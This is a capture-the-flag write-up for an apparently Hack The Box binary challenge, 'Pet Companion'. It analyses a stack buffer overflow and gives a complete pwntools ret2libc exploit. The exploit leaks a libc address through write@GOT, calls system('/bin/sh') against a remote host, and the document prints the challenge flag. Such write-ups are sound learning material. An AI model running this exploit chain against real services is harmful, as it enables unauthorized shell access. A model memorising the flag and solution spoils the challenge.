Skip to main content

Pet Companion

  • Difficulty: Easy
  • Technique: Ret-2-Libc

Embark on a journey through this expansive reality, where survival hinges on battling foes. In your quest, a loyal companion is essential. Dogs, mutated and implanted with chips, become your customizable allies. Tailor your pet's demeanor—whether happy, angry, sad, or funny—to enhance your bond on this perilous adventure.

Approach

Check protections

Command:

$ checksec --file=pet_companion

Output:

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'

No PIE & canary. Potentially ROP.

Disassemble binary

main function's pseudocode:

int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 buf[8]; // [rsp+0h] [rbp-40h] BYREF

setup();
buf[0] = 0LL;
buf[1] = 0LL;
buf[2] = 0LL;
buf[3] = 0LL;
buf[4] = 0LL;
buf[5] = 0LL;
buf[6] = 0LL;
buf[7] = 0LL;
write(1, "\n[!] Set your pet companion's current status: ", 46uLL);
read(0, buf, 256uLL);
write(1, "\n[*] Configuring...\n\n", 21uLL);
return 0;
}

No flag function. Buffer overflow vulnerability observed. ROP can be used.

Inspect GOT table

Check external libc function stored in the Global Offset Table (GOT).

.got:0000000000600FC0 ; ===========================================================================
.got:0000000000600FC0
.got:0000000000600FC0 ; Segment type: Pure data
.got:0000000000600FC0 ; Segment permissions: Read/Write
.got:0000000000600FC0 _got segment qword public 'DATA' use64
.got:0000000000600FC0 assume cs:_got
.got:0000000000600FC0 ;org 600FC0h
.got:0000000000600FC0 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
.got:0000000000600FC8 qword_600FC8 dq 0 ; DATA XREF: sub_4004E0↑r
.got:0000000000600FD0 qword_600FD0 dq 0 ; DATA XREF: sub_4004E0+6↑r
.got:0000000000600FD8 write_ptr dq offset write ; DATA XREF: _write↑r
.got:0000000000600FE0 read_ptr dq offset read ; DATA XREF: _read↑r
.got:0000000000600FE8 setvbuf_ptr dq offset setvbuf ; DATA XREF: _setvbuf↑r
.got:0000000000600FF0 __libc_start_main_ptr dq offset __libc_start_main
.got:0000000000600FF0 ; DATA XREF: _start+24↑r
.got:0000000000600FF8 __gmon_start___ptr dq offset __gmon_start__
.got:0000000000600FF8 ; DATA XREF: _init_proc+4↑r
.got:0000000000600FF8 _got ends
.got:0000000000600FF8

Useful functions are only write and read.

Exploit

  • Leak libc function address by writing the address of write function in the GOT to std out
  • Compute libc base address with leak write function address
  • Retrieve libc addresses of system and /bin/sh\x00
  • Spawn shell and get flag

Leak libc address

Write write function address in GOT to standard output

The write function requires two arguments:

  1. file descriptor - RDI
  2. pointer to file - RSI

Find suitable gadgets using ROPgadgets.

Command:

ROPgadget --binary=pet_companion

Output:

Gadgets information
============================================================
.
.
0x0000000000400743 : pop rdi ; ret
0x0000000000400741 : pop rsi ; pop r15 ; ret
.
.
Unique gadgets found: 85

Create payload with found gadgets:

from pwn import *

elf = context.binary = ELF('./pet_companion')
libc = ELF('./glibc/libc.so.6')
rop = ROP(elf)

r = remote('83.136.255.205', 49851)
# r = gdb.debug('./pet_companion', gdbscript=''' break * 0x4006D9''')

main = p64(elf.symbols.main)
ret = p64(next(elf.search(asm('ret'))))

rdi_std = p64(1) # write to stdout
rsi_write = p64(elf.got.write) + p64(0) # p64(0) to fill r15

write_plt = p64(elf.plt.write)

pop_rdi = p64(rop.find_gadget(['pop rdi', 'ret']).address) # pop rdi, ret
pop_rsi = p64(0x0400741) # pop rsi, r15 ,ret

padding = 64*b'A'
payload = padding + ret + pop_rdi + rdi_std + pop_rsi + rsi_write + write_plt + ret + main

r.sendline(payload)
r.recvuntil(b'Configuring...\n\n')

leak = r.recvline().split(b' ')
leak_write = u64(leak[0].ljust(8,b'\x00'))

Compute libc base address:

libc.address = leak_write - libc.symbols.write
log.info(f'Received: {hex(libc.address)}')

Compute system and /bin/sh addresses:

bin_sh = p64(next(libc.search(b'/bin/sh')))
system = p64(libc.symbols.system)

Spawn shell && get flag

payload2 = padding + ret + pop_rdi + bin_sh + ret + system

r.sendline(payload2)
r.interactive()

Remarks: Classical ret-2-libc challenge, twist is leaking libc address using write instead of puts or printf.

Script

from pwn import *

elf = context.binary = ELF('./pet_companion')
libc = ELF('./glibc/libc.so.6')
rop = ROP(elf)

r = remote('83.136.255.205', 49851)
# r = gdb.debug('./pet_companion', gdbscript=''' break * 0x4006D9''')

main = p64(elf.symbols.main)
ret = p64(next(elf.search(asm('ret'))))

rdi_std = p64(1) # write to stdout
rsi_write = p64(elf.got.write) + p64(0) # p64(0) to fill r15

write_plt = p64(elf.plt.write)

pop_rdi = p64(rop.find_gadget(['pop rdi', 'ret']).address) # pop rdi, ret
pop_rsi = p64(0x0400741) # pop rsi, r15 ,ret

padding = 64*b'A'
payload = padding + ret + pop_rdi + rdi_std + pop_rsi + rsi_write + write_plt + ret + main

log.info(f"len of payload: {len(payload)}")

r.sendline(payload)
r.recvuntil(b'Configuring...\n\n')

leak = r.recvline().split(b' ')
leak_write = u64(leak[0].ljust(8,b'\x00'))

libc.address = leak_write - libc.symbols.write
log.info(f'Received: {hex(libc.address)}')

bin_sh = p64(next(libc.search(b'/bin/sh')))
system = p64(libc.symbols.system)

payload2 = padding + ret + pop_rdi + bin_sh + ret + system

r.sendline(payload2)
r.interactive()

Flag

HTB{c0nf1gur3_w3r_d0g}